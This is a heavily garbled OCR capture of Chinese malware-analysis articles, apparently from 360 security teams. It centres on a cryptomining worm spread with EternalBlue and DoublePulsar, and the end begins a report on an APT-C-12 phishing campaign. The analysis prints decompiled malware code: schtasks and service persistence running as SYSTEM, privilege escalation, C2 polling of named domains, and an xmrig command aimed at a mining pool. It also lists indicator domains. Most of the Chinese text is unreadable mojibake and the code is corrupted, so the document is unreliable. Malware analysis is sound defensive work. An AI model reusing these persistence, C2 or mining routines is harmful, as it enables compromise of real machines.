http://rickgray.me/2018/05/26/ethereum-smart-contracts-vulnerabilities-review

-part2/

BiEEiE
INRVEEHI 7T —EEIR, BEEARIIMITSISLE.
BIRBERRBRIARR SR RIAR.
http://mitah.cn/index.php/about-me.html
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[Z2HH]

F Wb IEES B (EHBIZ I IR RSB PIIRS
{£2&: 360 MeshFire Team

JRSKE&R: https://www.anquanke.com/post/id/149059

C1ET=1
Bt

2017 ;5= 2018 F4], BXBHIIFRE 123" |, BRI EHEBKMRANEXHRE, 1XH
MR TERER BERFERENX LR, BEZEERNIBKR. AM2018F58F
—X, 360 MeshFire Team EHELZEIzE A T REZEREAKREK, A TREE
ER A NERZ B BEFERI=IE.

2018 % 5 A, 2ot AREREEE LIFP RN 7HXNURNIMERKEZ BRRKE, £
XSRS BOGRFEFIENATIRRS T, RIRBERIRRERR T — X ILERRAYINE T =,
H—E 0T, BTN, RR—RNEEEII=HZISH IR iZ ARSIz 0E
T, FBLIREESNET =19324) GRE BERMKEZENE, (IS 1ERaMtRHE
WS,

ETINEFREEEELRIRRRAIERRIERS, GRERFEREHERE/S NIDS AIgERiETE

FTIIGRBIMBZRIIERN IDS BNRVINA, REEWENNEIMNERIFEIRRN. B

FEA "MZ38" BARRTTREHAFIBA IR IMERR AR K, S B EH INED R
EENXF A AN EETEE, X BERIRAPIERERRIRM. HIIFEETHEA
BINLFREANEEE, RREESHNENFIDITIRE, SBEESEWIHE LU ELEEE
XFPET R IIERFEIENTFE, A RIEESXSMILESIAAIEHRER, EnInER
SEES AR HBREAD.
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FHEA

2018 £ 5 A 17 B, 2o AREREBHNEEAEERIMENTFE~EMNEE, B
IR IP AARTAF IP AXSEE, 1P 27=A97910.2.93.0/24 FIAMKER. BEH—F5
MRS AIRRITER, TRl JiAIZ S E BB AR RI™R IP sthll, FRIEMRIBFEINESE
ROYpERLE, SERE 1P RERRIHIZER/SRLEHERRMAIETIAING IP Hhik

106.3.xxx.18 &3/ 7 GRE [%&.

BT XSENAYEN A TEECEARE BEEH, KIMEE 3 B 28 B, ZARMEHAIIND IP
Z37 VPN EZANCR. SENAREFZEICR, $E 7 —MNsinEx4.

R — . AL g i o PP P

M ~dobe Fla h P| ayer 29 NPAFL Adobe Sy&t ms Incorporated 20184474 198 ME 2200113

B Adobe Flash Player 28 ActiveX Adobe Systems Incorporated 2018444 153 ME 29.0.0.113
2018/3/28 133 ME 1.0.0

I AEES 1.0 TR 201873728 1.0.8.18321

£ REEEeS 2.0 FriEsE 201873727 2015

B {Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 Microsoft Corporation 2018/3/26 BO0KE  9.0.30729.6161

B IMicrosoft Visual C++ 2008 Redistributable - w64 9.0.30729.6161 Microsoft Corporation 2018/3/26 F3ZKE 5.0.3072%.6151
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BN RHTIT AP, &REHE, BEEBIY GRE BFHEGEMFEL, 2—1FIA NSA K
B2 iEmEr AT RS TIEEEH TR, NEAFRIITARITREEDHT, BATAR, LI
IREBRAIEAR N Z/ET MsraMiner xiR, 22— MIRKIEZ EREHTERZT HRKRIk.
HRIE 360 ZLARBTXNZRIERIIRAIRIE, IRERNREEEER, BATAERRK

1% — BT,

XS

—. Spoolsv.exe

S FR:  spoolsv.exe

AR\ 396 KB (406,016 =15)

S{HRGIE: - 2009-07-14 09:14:41

Rt /& B:  SAEA7D64->2018-05-03 11:09:24

X{4& MD5: F4086A395A13D689E5FF98E4D447589B

Spoolsv.exe WEZEINEER : BHBUKEZERREFIFEIREEMAH DoublePulsar [, HiE5)
HENTE, FERSRENERAMIELE, SRR, HEFRIRERBYR. TEJ9 Spoolsv.exe AY
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M :

1int _ cdecl main(int argc, const char **argv, const char **envp)

o

HANDLE v3; // e

bool va4; // =

DWORD v6; 7

struct WSAData WsAData; // [esp+leh] [ebp-198h]

W oW

[F= = RN )

SetUnhandledExceptionFilter(TopLevelExceptionFilter);
WSAStartup(@x2e2u, &WSAData);
InitializeCriticalSection(&stru_461518);

11| InitializeCriticalSection(&stru_461538);

12 Initiali:e[’iticalSecticn(&stru_4ﬁlSBB);

Createl u*’ex (B' 1, "{F5175396-4BC2-B218-278D6EE}");

&

1 4 = ae* astError ) == 183;
15 f (w3 )

16 goto LABEL _4;

17| if ( v4 )

18 {

19 ReleaseMutex{v3);
2@ CloseHandle{v3);

21 LABEL_4:

22 debug_output({(int)"[INF] Mutexirin™);
23 return -1;

24| }

25| InitializeCriticalSection(&CriticalSection);

InitializeCriticalSection(&stru_461578);

InitializeCr 1*1LalSeLf1"n(&stru _46156@) ;

CreateThread(®, @, CRT_ROUTINE)drop_payload_resource, @, @, @);

CreateThread(®, @, T_ROUTINE)thread_2, @, @, @);

Sleep(leeau);

CreateThread{®, @

CreateThread(®, @,
@
e

%]

J ha

[ETR R
W 0O sl

o
(=]

TART_ROUTINE)thread_3_network_conn, @, @, @);
E)maybe_scan, @, @, @);
E)http_post_request_and_handle, @, @, @);
E)sub_48CDDB, B, @, @);

TART ROUTINEYthread 6, @, @, @);

-

CreateThread(e,

CreateThread(®,

CreateThread(®, @,
6 = GetTickCount();

while { GetTickCount() - v& < @xA4CBBB )
Sleep(3080U);

390 return @;

TETRTRETRTRT
G = N e

]

HEAELLSEIE—NE “F5175396-40C2-0218-278D6EE" MERFE, (FIEM—LAET,

RE=BIEZNEAE, TEEDNRE. 200, HEEIDRET:

FHESRIR, Fisi A Crypt, AEE Crypt SREE!
C://Windows/SpeechTracing/Windows BR33, Flk& Crypt X4, Zi351,
KINRERRISUES NSA ToolKit,

BOD16ECE - 58 "C:\Windoys eechsTracing\C
- . FF15 48900500 |gall e N an i anke o)
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| v HHEHL » MRS (C) » Windows » SpeechsTracing » Microsoft - ||

BaflEs v mENE #H- 0O @
= * [|_pytrch.pyd &) adfw.d &) adfw-2.dI =
& & enli-0.dll %] enli-1.dll %] coli-0.dll |
i1 [ crli-0.dll [ dmgd-1.dll % dmgd-4.dll |
EhEE esco-0.dll () etch-0.dll %] etchCore-0x64.dll

1% etchCore-0.x86.dll %) eteb-2.dll %] etebCore-2.xa4.dll
%] etebCore-2.x86.dll || Eternalblue-2.2.0.fb || Eternalchampion-2.0.0.fb
i %] exma.dl| @] exma-1.dll %] iconv.dIl
e libeurl.dll () libeay32.dll 1% libicony-2.dlI |
ks i ) libxnl 2.dI1 %] out.dll %] pela-0.dll Il
5 1 i pere-0.dll | perecpp-0.dil | pereposix-0.dll I
%] posh.dll %] posh-0.dll || pytrch.py
#l || pytreh.pye ) riar.dll riar-2.dll
RS () spoolsv =] spoolsv %) ssleay32.dll
‘erflogs |stagel [m7]svchost
*rogram Files| [2] svchost %) tibe-1.dll
Windavis tibe-2.dll 12| trch.dll %] trch-0.dll
£z %] trch-1.dll (@) trfo.dll %] trfo-0.dll
@) trfo-2.dll %[ tucl.dll %[ tucl-1.dll E
- ucl.dll [ x64.dll %) =

I EEY svchost.xml 1 spoolsv.xml BEEEXAFRILAEAN, W& D BlAKIEZ BIEEHF

DoublePulsar [F1 JHIECE {4

spoalsv.xmi

suchostxml

trch™ id

configy

walid="true"»

225 ( www.anquanke.com )

2" name="Eternalblue™ version

alar® hidden="true"

x Hookup connection port" type="TcpPort™ format

e -1 for no timeout.™ t

"IPva"™ forma " walid="true"»

vice for expleoit connection™ twpe=
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1. SRENEAMBIE, FXIPARIHT 445 inf3fE, HERERRINZ] svchostxml BEEEX
=,

FF15 9892D588 gethostname
8D8% FCFEFFFF eax, [local.65]
L) eax

8ep1DC 4D - FF15 6492D588 gethostbyname
8BFO esi, eax
85F6 esi, esi
< 1 (2

Address Hex dump ASCII » | Address |Ualue ICnmments
@2D0FB78) 92D OFBEDTASCIT U

2. [A) task.attendecr.com &2 post 5K,

cmovae eax, dword ptr [ebp-58]
moy edx, offset 81113BEB
ecx
ecx
[EH
eax, [ebp-54]
eax
offset B1113BDEB
ecx, [ebp-38]
B618C82E6 E8 75108088 818Ccoc3a

]

Address Hex dump ASCII

01FFFE3C
01FFFE40 Arg2 = 1FFFB6@

- - scan
.attendecr.com..
error.attendec

#ez (wwwanquanke

s

ZxE [ wwWwanqguanke.com’)

1. 1517 svchost.exe (kiEZIETEB) , mHEE% stagel.txt &,

ddress Hex dump ASCII

anguyanke.
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- 58 eax ARG .EBP-98

- BD85 ACFFFFFF |lea eax, [ebp-BE4]

- 58 eax ARG .EBP-BEY4

- BE 68520F4n moy esi, offset 4ABF5268 || UNICODE “C:\Windows\SpeechsTracing\Microsoft™”
esi “Cz\WindowsySpeechsTracingyHicros
ebx HULL

aooaes a8 80668 800060
edi TRUE

ebx HULL
. ebx HULL
- FF75 8C dword ptr [ebp-74] [ARG .EBP-74]
- FF7¥% 98 dword ptr [ebp-68] [HRG.EBE,_;—.:. ( www.anauanke.com )
- FF15 7C138D4A | call - ¢ 4 !

svchost.exe NEERERRIEERE X XIRMEH TR IEZ BRE, WRMAINNE BRI

BEIBR T x86.dIl 8 x64.dIl {EAEEEEBIREN LiETT,

—. xse6dll

XHEFR X86.dll

SR 139 KB (142,336 =9)

SC4RTE: - 2018-06-08 15:40:30

At |8 : ~ SAEA7D72->2018-05-03 11:09:38

M MD5:  1EDF2E54A7BOA4F7E3DCD49D4DE21415

BT dil STEHHTHHT, XA EEIRERER VRSN LB socket falimO,
BESZERRENARENUY, BEFREA payload BT EMRSHA XS, BATHW
T

1.9 svchost BIEEITRIMESS.

7 strncat(
(int)R .
" Jereate /TN \V"\\Microsoft\\Windows\\UPnP\\¥s\" /RU SYSTEM /TR \"rundll32 ¥=s, ServiceCrtMain\" /SC ONSTART",
»
31 |H
32 strncat(
33 (int)&va,
34 " fereate /TN \"\\Microsoft\\Windows\\UPnP\\%s\" /RU SYSTEM /TR \"regsvr32 /s /u ¥s\" /SC ONSTART",
35 ¥
)
37| stencat((int)&v11, ™ Srun  JTN \"\\Microsoft\\Windows\\UPnP\\¥%s\"", H
= CreateFileA(& , Bx20000008, lu, @, 3u, 8, @);
if ( != (HANDLE)-1 )
{

CloseHandle(v4);

run_schtask _exe(& H

Sleep(@xBBBu);

EE run_schtask_exe(&v11);

45 sl eep(9x1388u)

46 = ea e ileA( . Bx30000008, lu, @, 3u, @, 8);
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2 S IRBIRERMAISE, FHREZR wmassrv.dll, #BahE C:WindowsSystem32 &,

3.9 wmassrv.dll 8RS, Tk wmassrv.dll B9 A4,

5 = OpenSCManagerA(®, @, @xFe@3Fu);
v23 = vE;
if ( !ve )
{
v18 = "OpenSCManager()";
_CxxThrowException(&v1E, &PA.deinit});
1
GetSystemDirectoryA(&Buffer, Ox184u);

sub_18B87ERA(v4);

wsprintfA(&v27, "MACHINEM\SYSTEM\\CurrentControlSet\\Services\\¥s", w4);

7 = CreateServiceA(

il

S

El

B@xFBLFFu,
@xléu,
2u,
1lu,
"¥systemRoot¥\\System32\\svchost.exe -k netswecs”,
@,
a,
a,
@,
@);
ARSSEIREERAT
a4 TEREE — T T T . =[S e
ZiHF) REE SEV) s EEiH)
bl Wecsve - || =5 E-idl) s
: -}, wercplsuppor a6 (B30 REG SZ mEERE)
" WerSve ?[‘_']Description REG_SZ The Windows Modules Activations Services (WMAS) provides modules activation, resource mu.
L Wiploet i‘?‘lDisplayName REG_SZ Windows Modules Activations Services
w8 WIMMun: #|ErrorCortral  REG_DWORD 000000001 (1)
i Wf"DEfB”d 38 ImagePath REG_EXPAND 57  %SysternRootds\System32isvchost.exe -k netsves
£ W!ndows ! ab|ObjectName REG_SZ LocalSystem
-l Windows Wor ;
it WinHttpAutoP 'l'l's'm Start REG_DWORD 000000002 (2)
3 Winmgmt | Type REG_DWORD 0x00000120 (288)
S )l WinRM
b Winsock
b+l WinSack2
j.‘ Wlansve
41 wmassry
L .Pa.a.rameter

=. Wmassrv.dll

AZFR:
SR
SZ{4BTIE]:
B (8] 2

wmassrv.dll
313 KB (321,024 =1)
2009-07-14 09:14:41

5AEAB439->2018-05-03 15:03:21
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{4 MD5: C560BE5FD3882A133E233239FCBF713A

2135347, wmassrv.dll BIAEEN EERBET/98Y payload, BRI OIS FRI7R:

I
if ( set_privilege and_config() &% sub_leeeBDoa() )
i

sub_1060B608 () ; // delete payload as service with lover version

CreateThread(@, @, (LPTHREAD START_ROUTINE)StartAddress_Update Module, @, @, @);// timely connect for update
CreateThread(®, @, (LPTHREAD_START_ROUTINE)get_opcode_from_server, @, @, 8);// get payload from cic
CreateThread(®, @, (LPTHREAD START_ROUTINE)sub_1@@@FB2e, @, @, @);// maybe anti debug

CreateThread(e,
CreateThread(e,

, (LPTHREAD_START_ROUTINE)sub_l@@@EES@, @, @,
, (LPTHREAD_START_ROUTINE)sub_l@@@Flc@, @, @,

2]
2]
2]

CreateThread(@, @, (LPTHREAD START ROUTINE)sub_1@@eF3De, @, @,
2]
2
2

CreateThread(e,

FETHE:
1.QIELE, BEAEEERS:

8| vl4 = &vB;

9 vl = this;
phkResult = @;
v1ls = @

b k= &

= vl;

= strlen(vl) + 1;
(char *}&phkResult + 3;

e
(RS
I

do
v = (va++)[1];

while { v5 };

gmemcpy(vd, v2, vi);

Ln

o

=

(=]

vll = byte_ 10@431E0;

ol R @

}

5| *(_DWORD *)Data = 288;
6 - cen

7| SetlLastError(ve);

8 if ( ve )

a q

)

v = "RegSetValueEx(start)";

}

return RegCloseKey(phkResult);

[ A WY WY WY TR NV TR WY T WY WY S N R R R R R I O i el

=

tt‘;m
[

_CxxThrowException(&v11, &PA.deinit);

_CxxThrowException(&2, &PA.deinit);

102

@);// start mining with taskshostservice.exe
8);// drop spoolsv.exe and run
@);// delete payload with lower werzicn

» (LPTHREAD_START_ROUTINE)j_WebHost_service, @, @, @);// start mongoose server and listening

strncpy(&Subkey, "SYSTEMM\\CurrentControlSet'\\Services\\", @x1F4u);

if ( RegCreateKeyA(HKEY LOCAL_MACHINE, &Subkey, &phkResult) )

vE = RegSetValueExA(phkResult, "Type™, @, 4u, Data, 4u);
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X
H

| nﬁ%

Le%=-2018 FZF-55 2 8§

PRAESREEITAL R

=TT

=B R FY R

L= |

]
10
11
12
13
14
15
16
17
18
19
2@
21
22
23
24
25
26
27
28}

HANDLE
struct
struct

signed int sub_1@8@876Ea()

va; S eax
_TOKEN_PRIVILEGES *wi1; // eax
_TOKEN_PRIVILEGES *vw2; // esi

HANDLE TokenHandle; // [esp+4h] [ebp-4h]

v = GetCurrentProcess();
if ( OpenProcessToken(v®, @x20u, &TokenHandle) )

{
1 = (struct _TOKEN_PRIVILEGES *)operator new[](@x1@u);
2 = .
if (vl )
1
vi-»PrivilegeCount = 1;
vl->Privileges[@].Attributes = 2;
if ( LookupPrivilegeValueA(®, "SeDebugPrivilege”, (PLUID)vl->Privileges)
&% AdjustTokenPrivileges(TokenHandle, @, v2, @, @, @)
&8 lGetLastError() )
CloseHandle(TokenHandle);
return @;
¥
j_j_ i free_base(v2);
return -1873741823;

BIEAHEEENHE— "+ | FHMENEREXHRIERRFE 4T EES.

42| memset(&FileName, @, @x184u);

43| strncat(({int)&FileName, (int)}"%s\\WMASTrace.ini™, (int)&Buffer);
44|  NumberOfBytesh = B;

45 w3 = CreateFileA(&Filelare, @x48808888u, 2u, @, 2u, @x38u, @);
46| if ( !'v3 )

47 return @;

43| v4 = WriteFile(v3, "+, lu, &NumberOfBytesWritten, @);

49 v = v3;

e if ( !v4 )

51| {

52 LABEL 4:

53 CloseHandle(vs);

54 return @;

55

56| CloseHandle(v3});

57 create_file_and_get_file time(&FileName}; // change WMASTRACE.ini Lo

103

system file time


https://p4.ssl.qhimg.com/t018141673b91463de3.png
https://p4.ssl.qhimg.com/t014866c77e1dc056d0.png

L2%=-2018 FHT-55 2 #8

2EEEREHETY R, SMRZRRARIRSI. N—EEE kiR, RS

MEERBRIERAFNE IR,

19 HANDLE hMutex; //
CHAR Buffer; //
21| CHAR FileMame; //

22| CHAR v19; //

23

24| memset(& , B, 8xledu);

25| GetSystemDirectoryA(& , Bxledu);

26 = (char *)& + 3;

27, do

28 = (ve++)[1]5

29| while ( |H

38 gmemcpy( "\\MaintenancesServices.d1ll", @xlAu);

31 = C'Ea:e---e (& , BxBeoepeed, 1lu, @, 3u, @, @);

32| if ( != (HANDLE)-1 )

33 {

34 CloseHandle(vz);

35 byte 1884CASE = 1;

37 stop__ delete_service_name_with_SC_exe((int)"vmichapagentsrv”);
38 stop__ delete_service_name_with_SC_exe((int)"MaintenancesServices™);
39 stop__ delete_service_name_with_SC_exe((int)"tpmagentservice™);
48| END_delete services with_schtasks_exe({int}"UPnP\\Services"};

41| END_delete services_with_schtasks_exe(({int)"UPnP\\TPManz=rfzentTask™);
END_delete services with_schtasks_exe((int}"Tcpip\\TcpipReportingServices"™);

BT BlIEE schtasks.exe HZAATNMIBRIRSS, (CABHN RATR:

edx, [ebp-u88]

ecx, offset 7388334C
738475D8

edx, [ebp-808]

ecx, offset 738B334C
73847500
ecx, dword ptr [ebp-4]

T3847DDT E8 FY4F7FFFF
ecx, ebp
esi
check_cookie
esp, ebp
ebp

SRFRATIX

A:Jnddress Ualue
BOF6F228 ~738835E2

Address
28 2F 44 65|6C 65 74 65|20 2F 54 4E |28 22 SC
69 63 72 6F |73 6F 66 74|5C 57 69 6E| 64 6F 77 73
EC 55 58 6E|58 5C 53 65|72 76 69 63|65 73 22 28

4D /Delete /TN "'\H
icrosoftidindows
YUPnPyServices"

o

S

2F 4 0P 00| 8@ B0 OO0 PG| 66 A0 B0 OB A0 GO BB 6

BT el E RERNSTUGEEN LREBRMA payload =17

"{E2088B81F-2A96-43E8-BI9F522B}"
"{5ECOAC33D-E23D-C8A2-A92C833}"

"{CI59C45E-F19A-Z07C-565B17CO}"

104
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BRERERWNTA:


https://p3.ssl.qhimg.com/t01615f0a34d50a180f.png
https://p2.ssl.qhimg.com/t016baca84b82813b2d.png

L2%=-2018 FHT-55 2 #8

"{6B2089804-F412-CB72-7C027E6}"
"{SECTAC33D-E55D-C8A2-A92C822}"
"{N33821F9E-F215-34AA-721269D}"

"{FBO6E2D648-EF7B-6054-D43FC41}"

3.EIEEE : SR 1800s SIEZF /M,

52 while ( 1)
R
4 = gethostbyname (byte_1884CC98) ;
7 if ( )
- 1
9 if ( **v3->h_addr_list != 127 )
8 7
1 = gethostbyname(byte_1084CB18)
4 if ¢ )
1
if ( **v5-rh_addr_list != 127 )
7 break
.E }
I
71 (@x1B7748u) ;

}

83C4 ac

68 98CCB873
FF15 AC928773
8BF8

85FF

BF84 DCO2008A
8B47 BC

8600

8638 7F

8F84 CEB20080
68 10CB8873
FF15 AC928773

F384FDB1

42 IRSRES, PUTHENENE:

Payload £[a]i%E C2 tecate.traduires.com,

BNATARLZZEFTRAS.

/{ host 1 "sand.lcones.com”
Iy

¥

// host 2 "plam.lcones.com”
F

// eq 1B@e8ead sleep(1E88s)

esp,

offset 738BBCCY98 ASCII "sand.lcones.com"
edi, eax

edi, edi

73850863

eax,

eax,

73850863
offset 73B8CB18

et N R ey i

FRIEREIRYE < TSR AR,
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EEde HCa58%A3

CITT

E
ueaﬁ:

;fewfﬁ SHAIHEE SO,

Q8 AACYUBEAZ
garpd g

OtE26f A388CYAD
czb*

gethostbyname(name);

37 if (! || **v2->h_addr_list == 127 )
38 break;
39 memset(&5rc, @, @xB86u);
49 = (unsigned _ int& *)*v3->h_addr_list;
41 = va[3];
42 = va[2];
43 = va[l];
22 strncat((int)&5rc, (int)"¥d.%d.¥d.%d", *v4);
45 if ( &vis[strlen( ) + 1] == &v1G[1] )
46 append_cmdline( 5
a7 if (! )
43 = LocalAlloc(@x48u, @xA20000u); // buffer for payload
49 = 1e485768;
58 memset(vl, @, @xABEEAAU);
51 memset (& , B, @x30u);
52 strcpy_s(&0st, @x8eu, &Src)j
53 memset (& , B, exleau);
54 stropy_s(&v14, @x186u, H
55 = sub_1882263B((int)age_@);
56 = 256;
57 if ( http _get((HINTERMET *)&v9, (int)vl, &vE) != 288 )
58 break;
59 I
58 while ( > 8x2D &% sub_1@8@F4E@((char “)vi, v3) )3 |
61 Lleep(Bx uj;
53 switch ( *v2 )
55 case @
56 sub_18@8CaFe(v7, )3
57 break;
58 case 1:
59 sub_188eCe38(7, )s
68 break;
6l case 3:
62 sub_18@8C7B8(v7, )3
63 break;
64 default:
65 break;

BT EIEMNERRN, FTLATGEERXS R T N EAEE.

SREUEN=I=8

F38U4EF15 E8 DCB4B188

iR, SAESANE spoolsv.exe 24,

short 7384EEES
esi

dword ptr [ebp-4]
ebx
furite

S HRIEE, Bz,

106
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offset 7388D328
duord ptr [ebp-24]
73BLEFCE FF15 78908773
eax, eax
short 7384EFDC

Address

h.s

i.n. ARE DS eacry
67 00 5C 00|73 00 70 00| 6F 00 6F 00 6C 00 73 00 g.\.5.p.0.0.1l.5. 3135(W\"-’Wﬂn‘]UdﬂkELUm)

6.1 ESEIER, IS EERTER, XAHE.

11| memset( » B, Bx184u);

12| GetWindowsDirectoryA( , Bxledu);
1 = & [strlen( )+ 1] - vs;
14| if ( *(&v3 + v@) == 92 )

1¢ = - 1;

17 if | »= Bx104 )

L {

1 _ repert_rangecheckfailure(vl, 'H
20 JUMPOUT (*(_DWORD *)algn 18@@71E3);
S

22 [vi] = &;

24 memset(&ve, @, BxlBdu);
25 memset(&v7, @, @xledu);

26| strencat((int)&ve, (int)"¥s\\Sys \\taskmgr.exe™, (int) '
27 strncat((int)&v7, (int)"Hs\ \\taskmgr.exe", (int H
28 return !sub 1@ee72e((chs ) && !sub_10e87428((char *)&v7);
20}

7.J3581 mongoose web RS, YT 63257 isO0fTF{&%H EnroliCertXaml.dll, [FESER

NSA TE&RERAEN L ERE wmassrv.dll,

& sub 1@@121B@((int)& 2, a1, @ie4, @);
7 = WebhostService Start("63257", (int)&v2, (int)mongoose_server_start, @i64);

g if ( )]

IR

18 *(_DWORD *)( + 88) = sub_l@815468;
11 while (1)

12 sub_1@812338((int)&v2, 1888);

13 }

14 return H

15}

8 3E24 m -0 santa.inseription.com:443 -u santal -p x -t 1 —donate-level=1 -

nicehash, FHH£246132E TasksHostServices.exe
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56

68 1BCEB873 Ff et 7388BCE18

58

7384F2B3 E8 C86FFFFF call t at

7384F2B8 83Ca 10 ELL es| p.
6 80

ASCIT

8 U1000000 | Moy
738475BR FF15 70988773 ca
738475CH F7D8 q
73847502 SF

onments
ApplicationName = “C:\Windows\system32\TasksHostServices.exe'

SPZSHHITOMNT, ERFIA: TasksHostServices.exe ZERFFFIZH TR xmrig &£HY.

B EERER

J 360 UL ERIFEAEIEFERIEIRDITIIREL, F)AIIZINERITa G ERME
EEAFEZE, HESERERAEERISND

1. IEESERA R
5-6 B ARIZINEZEFTIEAF 6385 1
IZINERRRF SR <%0 761,661 4,
2. EEWEHEST wmassrv.dIl {E5E1E)

gu

EEY
360 BIIA/RRGICKAY 2018 5 5 B 3 HUREARIERUEECR. —1"Z BRI

B, HEIEATER 194646, KRBT 99907 N&ii, A TREPTHNERIE
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https://p1.ssl.qhimg.com/t013383b489fdac5d35.png
https://p5.ssl.qhimg.com/t0161dcfcbba4cc4f34.png
https://p3.ssl.qhimg.com/t01b993a8ea866b7063.png
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. BB RE BT AILABEZEEARRER.
BNEIERE, HARREUFHAAIAREZ, SMEEERBUTREIERAY:

3. BB FRLEALTT NSAKIBZEFRENS, BE—FER, & wannacry BIRIHE
RZfE, BZRAPEZREN T ZRES,;

4. TERINERFAOGEFEER, BN TFEANEERMER, 21N\E, BInEsEhiztest
WEMNR, BE—MNERSTRTHSTERERE, B—EHE.

5. HARKEXEZETEEMSSAIRRAVERT AN, NBRIDHTRE, #I1EH
spoolsv.exe RiFEMM, FHABEHIARL IP b7, BRTFIZIMESESEEN,
EEEEIRR, BEAABEERIRENAY IP OB%E IP, MIFESSAIAK IP, HXMERH
WAEHR, HARSITMEEE IP NER, XEmEUATRBERA,

94518 26892. 635080 10.2.94.151 10.2.94.31 45359 S8 49399 >

94919 26892. 658447 10.2.94.151 10.2.94.32 49400 98 49400 >

94020 26802. 700621 10.2.94.151 10.2.94.32 49401 98 40401 >

04031 26802. 762551 10.2.94.151 10.2.94.35 49402 TCP 98 40403 >

94922 26892,793793 10.2.94.151 10.2.94.36 49404 TCP 98 49404 > =560
94923 26892,825022 10.2.94.151 10.2.94.37 49405 TCP 08 40405 > -ds [SYN] seg-23:
94926 26892,887322 10.2.94.151 10.2.94.39 49407 TCP 98 45407 > ~ds [SYN] seq=13:
94927 26892,934204 10.2.94.151 10.2.94.40 49408 TCP 98 45408 > —ds [SYN] Seq=22:
94928 26892. 958579 10.2.94.151 10.2.94.41 49409 TCP 98 45405 > -ds [SYN] Seq=30:
94929 26892. 996646 10.2.94.151 10.2.94.42 49410 TR 98 45410 > t-ds [SYn] seq=34%
94930 26893. 027784 10.2.94.151 10.2.94.43 49411 98 49411 > T-ds [svn] Seq=57¢
04031 26803. 074506 10.2.94.151 10.2.94.44 494132 08 40412 > ‘T-ds [syn] seq=87¢
04932 26803.105752 10.2.94.151 10.2.94.45 49413 TCP 08 40413 > T-ds [SYM] Seq=d4¢
94934 26893,308585 10.2.94.151 10.2.94.50 49419 TCP 98 49410 > mic T-0s [5YN] Sen-Be:
94935 26893.402148 10.2.94.151 10.2.94.53 49422 TCP 98 49422 > mi< ~ds [SYN] Seq-16:

BE

IREQFH, HOSEMMERESHE, FHRERZSHERN. MXSHER(EREIEEY

EPEX R EE B SR MRS T R AR E R T RBRISE . 2]

BRISEBHRARIETARERNHTI DT, (BRBTEEREGEIEBAIIENME, Tl

REATEHRIDTTIIRE. B0 T AREXIEMSLIRIRFE BRI INE A TBOEFNNL,
WEKRTSR S B RINZI G XA INERS. ERRE, BRAXAIRIINESREGS, R IE b

DE=SAIINET R IEE R, &R MsraMiner ZRERAVEEARYIE
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https://p2.ssl.qhimg.com/t010b500cb066d0f37f.png
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FAL RN —ARF AT BN _CRRHEIRSS, —ARAVRR G B ST N RmRES R
RULRImFERN, XA &RINKEL S 2RI IS IUESRIF Uk TR S, #Hi
EHIRP IR AR, Tz AR UCRRA0Ise). BERIA T B3 AR iR
FRREFFRbEEa, RIS RinBREEREE LR BRIBRED. BIIhE NS E R R i

FENRS, —BEREMAILIEITERFHENG .

XMEALRGE AT RIERE R R AR E S —RAVEF NESHAER , FEHTERES
NEEEEIROME, MaEURAEE ENFEEREREIIY VPN EHER e Bix
RUEREITTE, ERMEBERRAEE DRETINESNBF S, (EEgRE, BirgHitE

JIJIESEE

BIRNREE, BIITLUEE, MERGEN AKX ECERRIH TERIREGES, XERITR
ZIRPNRBI W LR FRBRERIIRLIKEZ ERAREHESHNEEY, TEM MsraMiner
FRIRAIMRAEIIERIR, XN FRIFEXERISER, SEZER. Tl ZEFMNEL 2P
TF, WTFEEKAF—RISERNMEBHSFB AR TIRE, BABRIVKIT AN EESR
—HAMEIFERAIRIAE O, BT ERIRERAIE R,

Bt

1. loC
task[.]attendecr.com
tecate[.]Jtraduires.com
sand[.]lcones.com

plam[.]lcones.com
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106.3.xxx.18
{F5175396-40C2-0218-278D6EE}
{E2088B81F-2A96-43E8-BIF522B}
{5ECOAC33D-E23D-C8A2-A92C833}
{CI59C45E-F19A-Z07C-565B17CO}
{6B2089804-F412-CB72-7C027E6}
{3ECTAC33D-E55D-C8A2-A92C822}
{N33821F9E-F215-34AA-721269D}
{F86E2D648-EF7B-6054-D43FC41}
2. BEEE
[1] MsraMiner: BABEARZH BFME——360 ZLiAFEXT MsraMiner ZiRH
AR

http://blog.netlab.360.com/msraminer-gian-fu-yi-jiu-de-wa-kuang-jiang-shi-

wang-luo/
[2] xmirg miner FRERHS

https://github.com/xmrig/xmrig

BILLRIFAR ARSI T AR DR S

http://www.freebuf.com/articles/system/172307.html
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https://github.com/xmrig/xmrig
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HExw (APT-C-12) $IWMEERAMTSIE

& 360 RAMERF O
JRSCER: https://www.anquanke.com/post/id/151618

=1}
=2

360 NEIE 2018 FF 7 B 5 HEIRMIMATT 7 — 1M 2011 FFHARFEIR 8 FFEXIFEI
FF.E L R, RS ERRAFER T TNE IR ENIISRIERR - 5FEE (APT-C-12),
IZBLRENEIL/ LB REMIFEEZRAVIRE. AXENRIEAESIRER SN, FIAE
FHALEARNEENRAET, FELZRUR THREKGFARREEHE, HHphH
TR SEESRFTUX MNER KA.
WK

2018 £ 4 ALK, 360 T2 MM SN+ O] 360 FAMERFOERIAMIHE T A
M7t Y KT, REEBTESIENSITHE XAME=MH4R9 LNK S24E
PATER PowerShell BIZRIKIES HERFEBAN-FIIBURCUSE, HRERANEI TEF KIS
P&, ZIEIES R —SHEn LINK RIS, 7T AWS S3 A=k =58
{SREBAFNSRER, EHRNOTHATFENREIRE,

360 FAMBERPOFIAS NS WIS NI SHERISE T —H A e
boaostaff[@]163.com RIANXERY, FIRMMHLEBREIMESIZRNENSRAE 7 —HES

BR
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https://www.anquanke.com/post/id/151618

@ ZIrE
2eam2018 -5 2 4

g BE:

IFEEHESSSFNMETHWT, BREBRGES T —HENE, BT,
st — AL RATER
0 — k!

WA E L

20184 4 H138

3 .; } BOAO FORUM FOR
QmAﬂA
MEENREZE

Secretariat of the Boao Forum for Asia

Beijing, China

Dttp/iwww boaoforum org
[RF5: 163 BRERDZMA

an

N - 015 {60 T S AR rar

E#

EREHB AR E] 163 ROTPIHEER, LEFHARIAREE SRR Payload, iXE2—EF RAR
FTRRYRET S TR, T RBA IR — R EPHIB— 1 2 BRI IBEAIE RN TIFMA DT,
IR TR,

LIRSS

B (TR S8 ar - WinRAR (HEEE) - —

“%”ETQETE?&"@- & Y

m 3 (ETEFBEE) SREHror - RAR EEETH, WO 1666036 FF
= e b FEEEA 88 iezEnE CRC32

| (EERER)y SRefink 1666036 1247844 REEAE 2018/4/16 10:56
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—BEENSRHESHIFZ INKRESIIE, INK AESET I TG IR

